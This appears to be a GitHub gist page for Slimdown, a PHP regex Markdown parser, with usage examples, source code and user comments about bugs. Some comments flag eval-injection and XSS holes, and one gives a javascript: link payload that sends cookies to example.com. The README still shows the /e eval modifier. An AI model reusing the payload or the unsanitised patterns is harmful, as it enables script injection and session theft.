Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Slimdown - A simple regex-based Markdown parser.

Slimdown

A very basic regex-based Markdown parser. Supports the following elements (and can be extended via Slimdown::add_rule()):

  • Headers
  • Links
  • Bold
  • Emphasis
  • Deletions
  • Quotes
  • Inline code
  • Blockquotes
  • Ordered/unordered lists

Usage

Here is the general use case:

<?php

require_once ('Slimdown.php');

echo Slimdown::render (
	"# Page title\n\nAnd **now** for something _completely_ different."
);

?>

Adding rules

A simple rule to convert :) to an image:

<?php

require_once ('Slimdown.php');

Slimdown::add_rule ('/(\W)\:\)(\W)/', '\1<img src="smiley.png" />\2');

echo Slimdown::render ('Know what I\'m sayin? :)');

?>

In this example, we add GitHub-style internal linking (e.g., [[Another Page]]).

<?php

require_once ('Slimdown.php');

function mywiki_internal_link ($title) {
	return sprintf (
		'<a href="%s">%s</a>',
		preg_replace ('/[^a-zA-Z0-9_-]+/', '-', $title),
		$title
	);
}

Slimdown::add_rule ('/\[\[(.*?)\]\]/e', 'mywiki_internal_link (\'\\1\')');

echo Slimdown::render ('Check [[This Page]] out!');

?>

A longer example

<?php

require_once ('Slimdown.php');

echo Slimdown::render ("# Title

And *now* [a link](http://www.google.com) to **follow** and [another](http://yahoo.com/).

* One
* Two
* Three

## Subhead

One **two** three **four** five.

One __two__ three _four_ five __six__ seven _eight_.

1. One
2. Two
3. Three

More text with `inline($code)` sample.

> A block quote
> across two lines.

More text...");

?>
<?php
/**
* Slimdown - A very basic regex-based Markdown parser. Supports the
* following elements (and can be extended via Slimdown::add_rule()):
*
* - Headers
* - Links
* - Bold
* - Emphasis
* - Deletions
* - Quotes
* - Inline code
* - Blockquotes
* - Ordered/unordered lists
* - Horizontal rules
*
* Author: Johnny Broadway <johnny@johnnybroadway.com>
* Website: https://gist.github.com/jbroadway/2836900
* License: MIT
*/
class Slimdown {
public static $rules = array (
'/(#+)(.*)/' => 'self::header', // headers
'/\[([^\[]+)\]\(([^\)]+)\)/' => '<a href=\'\2\'>\1</a>', // links
'/(\*\*|__)(.*?)\1/' => '<strong>\2</strong>', // bold
'/(\*|_)(.*?)\1/' => '<em>\2</em>', // emphasis
'/\~\~(.*?)\~\~/' => '<del>\1</del>', // del
'/\:\"(.*?)\"\:/' => '<q>\1</q>', // quote
'/`(.*?)`/' => '<code>\1</code>', // inline code
'/\n\*(.*)/' => 'self::ul_list', // ul lists
'/\n[0-9]+\.(.*)/' => 'self::ol_list', // ol lists
'/\n(&gt;|\>)(.*)/' => 'self::blockquote ', // blockquotes
'/\n-{5,}/' => "\n<hr />", // horizontal rule
'/\n([^\n]+)\n/' => 'self::para', // add paragraphs
'/<\/ul>\s?<ul>/' => '', // fix extra ul
'/<\/ol>\s?<ol>/' => '', // fix extra ol
'/<\/blockquote><blockquote>/' => "\n" // fix extra blockquote
);
private static function para ($regs) {
$line = $regs[1];
$trimmed = trim ($line);
if (preg_match ('/^<\/?(ul|ol|li|h|p|bl)/', $trimmed)) {
return "\n" . $line . "\n";
}
return sprintf ("\n<p>%s</p>\n", $trimmed);
}
private static function ul_list ($regs) {
$item = $regs[1];
return sprintf ("\n<ul>\n\t<li>%s</li>\n</ul>", trim ($item));
}
private static function ol_list ($regs) {
$item = $regs[1];
return sprintf ("\n<ol>\n\t<li>%s</li>\n</ol>", trim ($item));
}
private static function blockquote ($regs) {
$item = $regs[2];
return sprintf ("\n<blockquote>%s</blockquote>", trim ($item));
}
private static function header ($regs) {
list ($tmp, $chars, $header) = $regs;
$level = strlen ($chars);
return sprintf ('<h%d>%s</h%d>', $level, trim ($header), $level);
}
/**
* Add a rule.
*/
public static function add_rule ($regex, $replacement) {
self::$rules[$regex] = $replacement;
}
/**
* Render some Markdown into HTML.
*/
public static function render ($text) {
$text = "\n" . $text . "\n";
foreach (self::$rules as $regex => $replacement) {
if (is_callable ( $replacement)) {
$text = preg_replace_callback ($regex, $replacement, $text);
} else {
$text = preg_replace ($regex, $replacement, $text);
}
}
return trim ($text);
}
}
@ghost

ghost commented Jun 9, 2012

Double lines create a new paragraph, however if someone does...

this

the paragraph

function

will

skip every other line

Simple, but great.

What about the license?

Owner

jbroadway commented Jun 24, 2013

Just added a license to the file. Let's go with MIT :)

greenphp commented Jul 8, 2013

Found a small bug. See the example!

The source markdown

An **indie electronica music** bundle.

**Featuring** songs by ...

Pay what you want for Music

Slimdown creates this html

<p>
  An <strong>indie electronica music<strong> bundle.
</p>
<strong>Featuring</strong> songs by ...
<p>
  Pay what you want for Music
</p>

should be this.

<p>
  An <strong>indie electronica music<strong> bundle.
</p>
<p>
   <strong>Featuring</strong> songs by ...
</p>
<p>
  Pay what you want for Music
</p>

Solution to above bug is simple. Simply replace

        '/\n([^\n]+)\n/e' => 'self::para (\'\\1\')',              // add paragraphs

with

        '/\n([^\n]+)/e' => 'self::para (\'\\1\')',              // add paragraphs

then every line wil become a paragraph.

inf3rno commented Nov 9, 2013

You should never use this code on a website:
eval injection
XSS

No codeblock support :(

Owner

jbroadway commented Jan 11, 2014

Thanks @inf3rno, I've switched it to using preg_replace_callback() to prevent eval injection. XSS is still possible without further filtering, but that's not the purpose of this library (and technically Markdown supports arbitrary HTML too, so it ought to come from a trusted source).

I've also ported this to Lua: https://gist.github.com/paulcuth/8967731

Cheers for the good work.

pph7 commented Apr 4, 2014

Great! Just a small bug: the line

'/\n(&gt;|\>)(.*)/' => 'self::blockquote ', 

contains an additional space after "blockquoute" which prevents the function to be applied.

Anyway, thanx a lot!

This has been incredibly useful - but I found an issue with links that have underscores... I'm honestly not sure if there would be an easy way to fix this without creating some hierarchy of rules.

Slimdown::render("# Links fail with underscores

[Test Link](http://www.google.com/?some_param=another_value)
");

Produces:

<h1>Links fail with underscores</h1>

<p><a href='http://www.google.com/?some<em>param=another</em>value'>Test Link</a></p>

In reality it should produce:

<h1>Links fail with underscores</h1>

<p><a href='http://www.google.com/?some_param=another_value'>Test Link</a></p>

Not sure how to prevent the unnecessary paragraphs around block-level HTML...

<p><table></p>
    <tr><th>Balance</th><td>$2,000</td></tr>
<p><tr><th>APR</th><td>14.5%</td></tr></p>
    <tr><th>Estimated min. monthly payment</th><td>$40.00</td></tr>
<p><tr><th>Years to payoff</th><td>14</td></tr></p>
    <tr><th>Estimated total interest</th><td>$2,070</td></tr>
<p></table></p>

Ahh, just fixed it... I added those elements to the para() regex:

if (preg_match ('/^<\/?(ul|ol|li|h|p|bl|table|tr|td)/', $trimmed)) {
    return "\n" . $line . "\n";
}

Thanks so much for this gist!

Also, I believe your header regex should start with a newline (\n)

'/\n(#+)(.*)/'

...to prevent things like <a href="<em>top</em>">Top</a>

bennyn commented Apr 7, 2015

Thanks for sharing your Markdown parser! I just noticed that it matches only ***B** when your input is ***B***. So it misses to capture an asterisk for the strong / bold markup.

You can easily check that in the JavaScript console of your browser by using the RegEx from the Slimdown Parser for "strong":

"***B***".match(/(\*\*|__)(.*?)\1/g)

possatti commented Jun 5, 2015

Woow! I very much like your idea of converting Markdown only using regex. I think of doing the same thing from Markdown to LaTeX any day. While this doesn't happen, I created a similar python script, based on your work, called Piedown. Hope it can be useful for someone.

Awesome, thanks !

Support for image ![Alt text](/path/to/img.jpg) syntax :

<?php
    unset(Slimdown::$rules['/\[([^\[]+)\]\(([^\)]+)\)/']);
    Slimdown::add_rule('/!\[([^\[]+)\]\(([^\)]+)\)/', '<img src=\'\2\' alt=\'\1\'>');
    Slimdown::add_rule('/\[([^\[]+)\]\(([^\)]+)\)/', '<a href=\'\2\'>\1</a>');
?>

I've just ported this to JavaScript (ES5): slimdown.js.

tovic commented Feb 5, 2016

Just want to share my simple PHP Markdown parser. It supports code block and smartypants 😄https://gist.github.com/tovic/f349cf63d644eec04fe9

handonam commented Mar 6, 2016

Great work!! My only concern was this [^\)] portion of the hyperlink set, which accepts anything except the ending ). Couldn't this theoretically be executed?

[My XSS Attempt](javascript:window.location="http://example.com?yourCookie=" + document.cookie)

That's something that kind of frightens me.

edit: would something like this maybe work?

/\[([^\[]+)\]\((?:javascript:)?([^\)]+)\)/

This would put javascript: as an optional non-capturing group, but still retain the other groups as intended.

The regex for links should be [^\]] (anything but a closing bracket) not [\^[]

bulrush15 commented Jun 8, 2016

Wow! This would be nice ported to Freepascal as a component. http://www.freepascal.org/. I'm stuck on converting MD to HTML lists because they are supposed to support lists within lists. I'm still new to Freepascal so I'm not good enough to convert it.

wwiechorek commented Oct 4, 2016

In blockquote fix, I changed.
of:

'/<\/blockquote><blockquote>/' => "\n"

to:

'/<\/blockquote>\n<blockquote>/' => "<br>"

@jbroadway why did you create a gist and not a repo?

hi.. Very handy.. Dropped it into codeigniter for a project. Are you still maintaining it? Found the space after blockquote error and went to push the change and realised I can't for a gist?

Hey,
I created a c++ port for a coding challenge: libMarkdownParser https://github.com/robinchrist/libMarkdownParser
Simple command line interfac: https://github.com/robinchrist/MarkdownParserCLI

Have fun!

Fix for when you want to use # in inline code or blockquote.
Replace: '/(#+)(.*)/' => 'self::header',
With: '/\n(#+)(.*)/' => 'self::header',

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment